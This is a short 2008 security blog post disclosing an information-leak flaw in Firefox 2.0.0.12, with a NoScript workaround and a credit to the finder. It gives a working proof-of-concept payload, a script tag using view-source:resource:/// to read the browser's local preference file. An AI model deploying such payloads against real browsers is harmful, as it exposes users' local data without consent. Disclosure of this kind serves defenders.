Firefox 2.0.0.12 Information Leak Vulnerability

    • Feb
    • 10

    Firefox 2.0.0.12 Information Leak

    Posted by Nick B 8 months ago.

    Filed under Exploit¸ Mozilla Firefox & Security.

    Marvin Apbot costume by chaoskaizerWe are going to see Firefox 2.0.0.13 probably by end of this week. Check out this directory transversal code using view-sources: & resource: scheme
    view-source:resource:///
    translate to file:///C:/Program%20Files/Mozilla%20Firefox/

    You can read/include firefox pref settings with this code. <script src=”view-source:resource:///greprefs/all.js”></script>

    Workaround

    Install No-script Add-ons.

    Credits

    Ronald van den Heetkamp at 0×000000

    External Links

    About the Author

     

    Tags:
    • February 10, 2008 at 11:21 am
    • June 24, 2008 at 3:59 pm
    • 0.3
    • url

    • No Responses to “Firefox 2.0.0.12 Information Leak”

      Trackback URL: Use the TrackBack url ↑ to ping this article. If your blog does not support Trackbacks you might want to leave a comment instead.
        • RE: Firefox 2.0.0.12 Information Leak - 'The Guide' ↓
          Firefox 2.0.0.12 Information Leak Kakkoi 8 months ago 5 url
          Marvin, Point of View Gun

          The following "Code" are designed to protect you and other users of this site.

          • Be relevant: Your comment should be a thoughtful contribution to the subject of the entry. Keep your comments constructive and polite.
          • No advertising or spamming: Do not use the comment feature to promote commercial entities/products, affiliates services or websites. You are allowed to post a link as long as it's relevant to the entry.
          • Keep within the law: Do not link to offensive or illegal content websites. Do not make any defamatory or disparaging comments which might damage the reputation of a person or organisation.
          • Privacy: Do not post any personal information relating to yourself or anyone else - (ie: address, place of employment, telephone or mobile number or email address).

          In order to keep these experiences enjoyable and interesting for all of our users, we ask that you follow the above guidlines.

          be the first to comment.

          KakkoiFeel free to engage, ask questions, and tell us what you are thinking! Regular and insightful comments are most welcomed.

           

    "write as if you were talking to a good friend (in front of your mother)."

    .haveyoursay

    Disclaimer: For any content that you post, you hereby grant to Kakkoi the royalty-free, irrevocable, perpetual, exclusive and fully sublicensable license to use, reproduce, modify, adapt, publish, translate, create derivative works from, distribute, perform and display such content in whole or in part, world-wide and to incorporate it in other works, in any form, media or technology now known or later developed. Some rights reserved.

MySQL query error